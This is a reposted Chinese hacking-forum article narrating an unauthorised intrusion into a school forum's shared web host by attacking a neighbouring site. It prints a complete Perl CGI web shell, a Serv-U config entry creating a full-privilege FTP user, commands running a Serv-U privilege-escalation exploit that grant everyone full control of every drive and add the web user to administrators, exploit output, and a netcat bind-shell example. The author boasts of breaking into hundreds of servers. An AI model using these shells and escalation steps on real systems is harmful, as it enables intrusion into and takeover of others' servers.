找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1975|回复: 0
打印 上一主题 下一主题

剑走偏锋——灵巧的旁注攻击

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:11:50 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
剑走偏锋——灵巧的旁注攻击
+ G+ X% }% k- |1 ~本文作者:angel6 o6 W/ j7 f& a& E
文章性质:原创
) P! Y2 T1 e9 G6 ?发布日期:2004-11-09
- z4 ?) ?3 U* i+ d  e' f注意:
, w3 [* r1 I1 h( d6 A! m本文的技术并不是最新的,涉及到的技术含量也不是很多,重要的是其中的渗透思路。! H! f: Y7 F. H
本文已在《黑客X档案》11月刊发表,版权归本站及其杂志社所有。
9 x* V: W, D: }. N5 ^3 @  W% U
; ]( _( ?+ @1 h" [$ [2 a  终于高中毕业了,一定要在暑假努力学习,发奋学习,以前入侵少之又少,都是研究这样研究那样,实战经验太欠缺了,所以决定暑假恶补一下渗透技术,顺便又可以看看国内主机的安全性。暑假 6 月整整学习了一个月的渗透,从 xiaolu 身上学习到不少好的思路和经验。在此谢谢 xiaolu 了。 0 d( p; R* y& H0 U

1 B. _2 G+ U& H  一个多月的时间里,渗透过上百台服务器,有独立的,有虚拟主机的,有群组的,有国内和国外,我发现一个极其严重的问题,国外的服务器,普遍安全性都非常高,管理员的安全意识非常高,做个比例,如果国内平均每 10 台服务器,能渗透进去 6 台甚至更多,那国外、台湾的,平均每 10 台服务器仅仅能渗透 1 台。当然我的水平也是一个问题。可是却反映出国内的管理员的水平的的确确比国外的要差几个档次。国内的管理员的技术和意识,迫切需要大幅度提高。
. I4 q8 Q; x4 L- b4 y( W9 V6 K7 L4 t; y$ y
  不过国内的也有比较 BT 的管理员,我就遇见几个服务器设置得非常。其中一个的 Documents and Settings 目录下还有 nsfocus 目录,难道是 nsfocus 公司帮做的安全?这个服务器我们没有拿下,还有另外一个,就是今天的重点。 & c0 h1 R" r* P& p

1 h/ y0 K4 o6 ?2 W+ l  一次看见了一个学校论坛(http://www.school.com),还蛮火爆的,顿时兴趣来了, ping 了一下,发现 4 个包都返回 Request timed out. 估计是搞了策略或者防火墙的,象我这种以 Web 安全的,自然喜欢从站点上找漏洞,自从学习 Web 开始,我就落下一个怪癖,就是如果实在从 Web 上找不到什么漏洞,宁愿放弃也不用什么漏洞扫描器。
/ e* P$ }: L, w+ n) Z" _7 s$ O. U6 V9 b
  大概看了看站点。就是一个论坛,采用 LeadBBS ,拿这个论坛没辙,还有其他办法,因为刚才我访问这个 IP ,返回“No web site is configured at this address.”,初步判断是虚拟主机,前段时间那几个黑站狂黑站的成功几率为什么这么高?因为有 http://whois.webhosting.info 这个网站,可以查询一个 IP 上,绑定了多少个域名。如果真的是虚拟主机,这个学校论坛没有漏洞,不代表其他站点就没有,很快的,我就通过一个小公司站点( http://anyhost/ )上的 DVBBS 6.0 传了一个 aspshell 上去,谁知道仅仅能够对自己的目录进行操作。而且自己的目录没有执行程序的权限,又用不了 Nfso ,手工跳转 URL 中的目录,也没有多少个可以浏览的,重要的 Program Files 和 Documents and Settings 目录都看不了,从 aspshell 反馈的信息来看,每个站点都设置了单独的用户,似乎一切都陷入僵局。 % ~) L7 K0 A3 s- P5 b

% P  U% A; e$ |  没有目的的跳转目录着……
8 H6 J9 a5 L* g; u. u) `  M& i& g; V
  我习惯性的在 URL 跳转到 c:\php,没想到居然可以看见了,那这个主机很可能就会支持 php 了,马上传了一个 phpspy 上去,非常幸运,顺利看到了登陆入口,可是没想到进入以后才发现,php.ini 亦设置得异常 BT,安全模式打开了, phpinfo 函数也被禁用了,看不了详细的系统信息,不过看 phpspy 自带的探针可以发现,allow_url_fopen、display_errors、 register_globals 统统关闭,system、passthru、exec、shell_exec 几个函数都无一幸免的被禁用了,直接跳转目录还是只可以看到这些目录而已,各个站点的目录都是类似于 “D:\websites\school.com#dlfjurdlkfjk” 这样的,每个站点目录后面的那些字符串都不一样,也跳转不到,后来我猜测后面的字符串就是 ftp 密码,试验了一下,无法登陆,看似柳暗花明,希望又破灭了……
  j" y4 Q( T: W( g% _3 x  ]7 M
( p- P1 Y* E. J  结束了吗?不,我试着 FTP 一下: 0 O9 q. [; n% ~2 C7 Y# z2 l

, k; ]6 o# ?  K6 w& k* [2 \- s4 cMicrosoft Windows 2000 [Version 5.00.2195]$ k8 J1 I3 t. H5 M/ C
(C) 版权所有 1985-2000 Microsoft Corp. ; P' J3 P, {- q+ z

8 J9 [# R/ k9 f# a& c7 D0 xC:\Documents and Settings\Administrator>ftp www.school.com. t. u3 W/ Y" V5 Z- V' H5 l' Z
Connected to www. school.com. 7 z+ E( p. A8 Q! G
220 Welcome to FTP Server...
5 k, k4 L' ^$ r2 h0 Q8 T, nUser (www.bjtrq.com:(none)): 1 _6 A) C( |% d% P; l( y: ^
331 User name okay, need password. + h: N5 E; B# y5 U/ e1 g+ f
Password: ' T$ B% W" ?, g4 I6 q
530 Not logged in. ' K2 v4 k1 ^0 ~, j
Login failed.   d. ^+ L: e8 s8 A* }
ftp> bye 7 {5 z% i5 \0 ]' K  ?; p- B' c
221 Goodbye! " {2 E" A4 i3 Z) N5 q

& {- ?3 `( {' D% W7 Z
7 f( _" M# F# G% T  从返回的信息判断,我们还是有希望的。尽管他修改了 FTP Server 的 Banner,但是从 User name okay, need password. 这句我们还是大胆的判断这个服务器就是采用 Serv-U ,我上手有目前所有版本 Serv-U 本地提升权限的 Exploit ,如果我能传一个上去,并且能够执行,一切就明朗了。再仔细想想有哪个目录可以写的?当时在 c:\php 目录下没有发现 sessiondata 目录,而且也不是自动安装版,估计管理员把 session 的目录换到其他地方了,不然这个目录是 everyone 可写的……
' J- t+ N& k9 t5 C
7 Y7 {2 o* p5 M, q  原来我还忘记了一个最重要的目录, C:\Documents and Settings\All Users ,从这个目录可以知道很多信息,这个目录一般、至少都是 everyone 可读的,这样我们就可以知道好多有用的信息了,直接通过我的 aspshell 手工跳转到这个目录,呵呵。马上看到了想看的目录树。 ' p: ^) G7 V3 K5 J
$ r' v5 [& e6 n  A
Application Data, s) J+ \; w2 U6 Y/ |" L+ U
Documents
7 H6 h% |! s5 ]" ^, W/ pDRM
  G4 M+ |; k& K' e" h; p/ p7 WFavorites; E" }5 s0 e  h8 p% K
Templates- q" ?$ x0 h3 F
「开始」菜单
- X3 a( s7 j: I  F8 p桌面" |: L8 y( r/ \) V* B
; g" f+ K6 a& e
4 _: T- N" a& z6 T3 u
  马上试试建目录,可惜里面的目录包括子目录都无法新建, BT 管理员权限设置得还真严格,不过我们还是有收获的,那就是 “C:\Documents and Settings\All Users\ 「开始」菜单 \ 程序 \”目录里,看到了很多决定结果的有用信息,
; r! l5 l  \* ~6 A$ d3 X
' W8 f* c: o% O" d1 c  b% xActiveState ActivePerl 5.8
9 V" a7 ?( K; I) J  W6 r+ @9 LAdministrative Tools
% F9 q$ k6 n6 {) pDeerfield.com
2 G# E: `5 J+ g1 QDTemp
4 }0 Q9 W9 F8 ~; O7 T6 i8 Q% ]IPSentry; a1 l9 b) n* T: f! D, E. a, c
MBM 5
& k0 ^; I: ?7 W- u" T0 y  _NetMeter1 ?2 g0 M: \5 n9 {3 s. M' E. `( `
Network ICE" @5 g6 ~8 Y- Y4 O' |' j# S
Persits Software AspEmail" k, c0 E* S' i/ ]3 J' B$ @
Persits Software AspJpeg8 Z* _7 b. u2 h8 F
Serv-U FTP Server' o" m* \( T3 z' S" z, y. \! a* ~
Symantec Client Security
2 O3 e+ M9 P- ]Windows 优化大师
3 c# g( k& g1 ~2 cWinRAR; k- c; m6 p* P! P4 u5 ~" w* H
启动% f/ a& W7 x9 {: s0 ~* K
管理工具& o# b$ J1 Z" M% x( a
附件
5 \+ @  @( V* D, k/ {; l7 q+ p; { # ]( h6 S" l: u. C- f( e0 l
% `5 F& v* B  H8 x
  呵呵,现在我们知道了好多有用的信息了,看着这些东西,可以看得出管理员对安全、效率很在意,装了 Perl,也就是说可能支持 cgi 了, IPSentry 这个可以实时检测网站的各类服务, 当某服务停止时, 该软件会打 Pager, 或 EMAIL,或发声,或运行其它软件来提醒管理员,确保服务器出现问题能及时处理,说明管理员比较负责任,NetMeter 可以对网络流量进行监控,装了黑冰防火墙和诺顿杀毒服务器版,说明管理员对于服务器的安全是很小心的,这还不算,还装了另外一个防火墙——VisNetic Firewall,真是 BT 到家了,装了优化大师,看得出这个管理员还是比较爱清洁的。从管理工具里面我们还看到了终端服务客户端生成器.lnk 、终端服务配置.lnk ,还有终端服务,这下好了,说不定顺利就可以多一台 3389 肉鸡了。
2 [2 E# u6 ]1 P; J0 D8 A) N4 `- M5 Z7 h/ f
  先通过 aspshell 下载 Serv-U 的任意一个快捷方式,然后本地查看属性的目标,呵呵,原来 Serv-U 的目录是 "C:\Program Filesewfq4qrqtgy4635\Serv-U\" ,这下好了,直接跳转目录。OH~,yes~~,看到了,马上修改 ServUDaemon.ini文件,这个服务器居然放了 280 个用户,狂晕……不管了,先在添加 [Domain1] 里加一行: $ N( o9 K7 a5 r8 n
/ U. k, l: m# w
User281=angel|1|0
, ^, J( P4 o+ q6 k5 q/ s
  Q; ?" V5 P7 X2 e1 j  g- J6 w8 c. ^; B, s
  然后加上 + n, x' ]! f/ @% |% B$ J# {
) S, C9 h# J+ `9 v3 W: n9 p' ^2 B
[USER=angel|1]2 N. ~' p! [& B6 O
Password=ng98F85379EA68DBF97BAADCA99B69B805, K) G/ ~. \2 a3 Q' e  ~+ ^
HomeDir=D:\websites
  ?0 O+ e2 o4 B1 |# g, P5 F$ rRelPaths=1# O" U8 _1 }5 r! N4 j9 h% x# `% p( c
TimeOut=600
' V, P# j" `0 Q9 w& a& \) o5 {Maintenance=System
, S& l3 A; {0 S3 \Access1=D:\websites|RWAMELCDP
* R8 s4 n& B3 v" VSKEYValues=
! M9 c' ]. s' W0 q0 j: L 7 S" i( G3 j1 F, u; C
% S/ m% q, c1 m7 o$ k
  添加一个 angel,密码为 111111 的用户,具有最高权限执行,然后我们就可以 ftp 上去 quote site exec xxxxxxxx 了,嘻嘻偷笑中…… * [# ^- h# k$ j- i+ |
3 G- o) _  C  Q7 l
  不过残酷现实再一次粉碎了我的计划,修改好文件以后提交,居然是没有修改成功,看来还是权限,权限权限整惨人啊。 # S* e( g# t5 U% _( s* L9 L2 e
5 j* |5 P+ m! _0 P, _# s
  不过还是有希望的,因为刚才我们看到了系统装了黑冰,有些版本存在“ISS RealSecure/BlackICE 协议分析模块 SMB 解析堆溢出漏洞”,可以远程利用的,手头上没有编译器,没有办法编译代码。
% g, d4 [" k! D7 L! F9 g/ }' p0 m, Z% D/ R2 b( J
  还有就是 Perl,这个是个很大的突破口,因为 Perl 目录一般要 erveryone 完全控制的,不管他用 isap 还是 perl.exe 一般都是可写、可执行的,马上下载 Perl 的快捷方式来看看路径,呵呵,看到了,原来 D:\user\bin 就是存放 perl 的 bin 目录下的所有文件,这么说这个目录可能可以写,也可能可以执行咯,马上传一个 su.exe(针对目前所有版本的 Serv-U 本地提升权限漏洞)上去,呵呵,传上去了,太好了,现在就是执行了,刚才我们试了 aspshell、phpshell 都不行,现在就看最后的希望了,找呀找啊,终于在我硬盘上找到一个 cgishell,很老了,文件日期是 2002 年 6 月 30 日的,代码如下: . I( E% A8 R! R
6 l' m, J- f) Q9 n
#!/usr/bin/perl
9 U/ P# w/ r; f- @" O" I! J) Ibinmode(STDOUT);
$ o7 k( X0 D; p' `0 T$ {% p# jsyswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);/ e: N7 J1 D# ^+ f, v! `6 h+ O
$_ = $ENV{QUERY_STRING};3 U# z- U2 G( `1 ^& X
s/%20/ /ig;
% d1 M/ a+ m1 s! @! x* e, Q0 X5 Is/%2f/\//ig;
' U( g3 S7 b7 a7 P, e- o* f9 s$execthis = $_;
. J( ~8 _1 H% g2 Y" ?syswrite(STDOUT, "<HTML><PRE>\r\n", 13);
& L7 [9 m0 [( X  Z/ s6 n: Uopen(STDERR, ">&STDOUT") || die "Can't redirect STDERR";' I( P! j" n9 u3 q+ j9 X$ n
system($execthis);
2 `- E1 ]5 B' Jsyswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);2 c+ v5 x) o, Z: P8 b" P/ p  a
close(STDERR);
0 u( \! r5 h! m8 V1 Z. ?0 }* a+ tclose(STDOUT);
0 |* k* ]- M9 c' L4 Dexit;
# a. S+ U. v/ D 3 h7 y; S9 e/ v* G9 p2 D

! `! Z9 w4 C" h! a  我用过最好的 cgishell ,保存为一个 cgi 文件执行,晕……居然不支持!一阵阵郁闷袭来,2 秒钟的郁闷后,想到还有一线希望,那就是pl ,我们还没有试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir ,我的天啊!!   C2 v3 M4 W4 A: S' B8 ]

' a. `* c1 q( n8 w  显示“拒绝访问”,终于可以执行了!太兴奋了,马上提交: 7 W7 |1 A, U5 [4 I% \  k0 ~1 Z4 `: l

4 e9 `3 z" A9 H  bhttp://anyhost//cmd.pl?d:\user\bin\su.exe 6 I* ?9 E% }5 p  L: O+ R
3 e1 C7 x6 p: Z- G
; W# U- j1 Y, I9 B. }' k$ a
  返回:
3 Y; H' O5 \$ m) ^1 |; N' G# w% T# q9 ]0 \# D% ^6 R( C
Serv-u >3.x Local Exploit by xiaolu 5 N1 q5 J( b5 L

/ \" \. ~: x, |USAGE: serv-u.exe "command"
& D6 B6 ^- j; Q2 ?, I$ u) W( s+ K% N* Y; }) X: r3 H4 p! R: I/ Q* ^
Example: serv-u.exe "nc.exe -l -p 99 -e cmd.exe" 2 t) _& G4 C1 G: k* N
& J3 b" p! Q" y) M
. P$ u6 |* f$ D, _" ?3 Z
  嘻嘻~~现在是 IUSR 权限,那又怎么样?看你这次还不死?提交:
4 D( t8 C' B9 E
* K' S* y3 z. C* ~8 qhttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe c: /E /T /G everyone:F" 4 ~! u  h3 r- ]. d/ X5 p/ `

' Z9 n1 H  W9 u/ ihttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe d: /E /T /G everyone:F"
9 r$ Y4 ?5 F: V3 a# T7 c( y, u4 t/ }
8 \5 G5 r1 [' r/ B* m2 l) F5 g: n- zhttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe e: /E /T /G everyone:F"
. ^6 H. E7 }) V
7 ]* l& ?5 a: G( ~8 Shttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe f: /E /T /G everyone:F" ) f, G2 w2 M  w6 w) h' Q2 b" {
- j' g" Y. r$ E4 X) L+ m) l2 L6 P

7 r2 Q' W: {8 v" v. K5 `1 u& l0 \  返回下面的信息,就表示成功了!!! ; z( S3 n1 B5 p% R

3 `" N5 }: _9 c1 v+ d  K/ x- U- `Serv-u >3.x Local Exploit by xiaolu : |+ o; Y& L5 ?" z8 Z
  m- o3 H3 x; j: M3 F& t
<220 Serv-U FTP Server v5.2 for WinSock ready...
* u  M) Y5 I) ]" o
) \8 M7 ?' p% _& n+ r>USER LocalAdministrator
# ^% x& X" ^- n' ~" ]0 b# f& G" [/ k' ~! Z
<331 User name okay, need password.
! I9 A9 {! o# ^' m; I4 Q, w& M  Q& T& u$ O. ?/ \
****************************************************** % s# }5 T# d$ v- g
: n3 R* @% X* x: W. B' u
>PASS #l@$ak#.lk;0@P " T5 ?8 T& `- ^* B! s( ?5 Y
, P3 y5 ^4 m9 K& x- t/ J
<230 User logged in, proceed. * {/ A. Q' a6 Y) s1 a7 }
/ h* o  j+ e1 t' p2 {( y
****************************************************** + \: _/ i0 q4 u0 R
# F  Q8 ?) b3 m3 m5 N' ?
>SITE MAINTENANCE . p% k; J& w- f2 h' D

$ ^% r) T3 M% `& z3 t0 Z& b****************************************************** ( S! _% Q' a7 Y1 C. W% t1 V
' B2 s9 V! [0 E, s, S  E0 H# w: [
[+] Creating New Domain... ; \" d! Q7 M6 n' g7 v0 G  v
1 ]' @& k9 E# V' I! X
<200-DomainID=2
+ l2 N  N% W6 c4 U# {6 E8 M2 B( q$ a& u' S6 x0 J8 K0 T
<220 Domain settings saved
$ s5 k" T4 }7 A" ?) a2 }
: S- y% L$ _/ E  o$ T' H2 A0 T0 e******************************************************
' _7 ?4 c8 u/ I0 ^, g" v% F( b: X$ h+ k1 t
[+] Domain xl:2 Created
3 ^. s8 l) s. t6 w# z9 [+ z2 |/ |1 m' D. Y5 Z) j
[+] Creating Evil User
7 h6 Y5 J* J) M; M4 H0 t7 g! y+ g2 J* v7 z8 L" ]. ]' |
<200-User=xl
  P8 H+ d" U* b' \5 A5 L$ g9 K& h. `1 e; c( h6 ]* d
200 User settings saved * `; W/ ?1 r% ~$ u
* e& a9 L( n& L) s3 w# |" o
******************************************************
+ G$ [4 U8 @: g
" U0 h$ J# C# O4 A[+] Now Exploiting... # ~9 Y' ~3 f+ \9 [
. S, n$ |/ E% B# K6 x0 I0 i
>USER xl
( h6 t+ D' a0 X. j* E
, M: I, M6 H4 |4 L  x1 u<331 User name okay, need password. & V2 W5 e' i; x) P

; o  _: V* d+ P) e6 Y! f******************************************************
7 p$ \: T" W! s: [) i7 j
. L3 i+ _. O$ J/ j! m>PASS 111111
1 o* }" a6 j. {' W- m. \  B# L+ j  o8 P
<230 User logged in, proceed.
% a. U. \2 G( r: h3 V
2 P0 \4 I8 t8 |3 u/ q" K% Q******************************************************
" n! v5 [1 c( d5 ^) A/ ?4 x+ c- m' W2 _* U: }
[+] Now Executing: cacls.exe c: /E /T /G everyone:F
7 W' x. L; b2 u. D6 b7 G6 m  W! |0 F: D+ {) J. r$ L) t. B
<220 Domain deleted
- v) [" N7 O; A" e9 l/ X7 f* c+ P; m( Y' a5 E* R: b
****************************************************** 9 Z  F/ d( ^  z; Y4 I9 O

/ l$ N5 {8 H" J" D! S  K8 _# ]% O, ?' C: }  P
  每提交完一次都稍微等一下,因为这些命令需要时间处理的,不一会儿,就把所有分区设置为 everyone 完全控制了,可以任意操作硬盘的东西了,但是有些命令还是受了限制,因为权限还没有提升,现在我们把自己的用户提升为管理员: 8 ?: G% s1 h/ c+ s3 `# ]
. p% h% Q9 K* V: j" E# R6 `
http://anyhost//cmd.pl?d:\user\bin\su.exe " net localgroup administrators IUSR_anyhost /add"
% l* h  n1 L( w4 i , d& m5 Z* B( Q  P% n, d

' }. S: u  v8 C  现在我们通过 web 方式,执行的命令就是以 administrator 的身份执行的了,相信到这里,下面的事该做什么,大家应该知道了吧?马上找到那个学校的目录,进去咯~~目的达到了,本来还想做一个 3389 的肉鸡的,想想算了,这种 BT 管理员的地盘,我也占领不了多久,留点提示到他的桌面就 over 了。 ' Q! s! x7 b2 m5 I) D" x* C0 m9 G
; z& G1 v7 m2 d$ O* k, ]
  说真的,搞安全这么久,从来没有遇见这么棘手的虚拟主机,要不是装了 Perl,还真是束手无策!本文技术含量不高,只是分享一下希望其中的思路,如果有一个人从中受益,这篇文章就完成它的使命了。8 u% u" H4 \$ Y* w; M5 p3 c
, e' Y7 _( p0 c- }; I: z
  
) ^  L8 `1 y9 Q/ K1 U* H* y' p
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表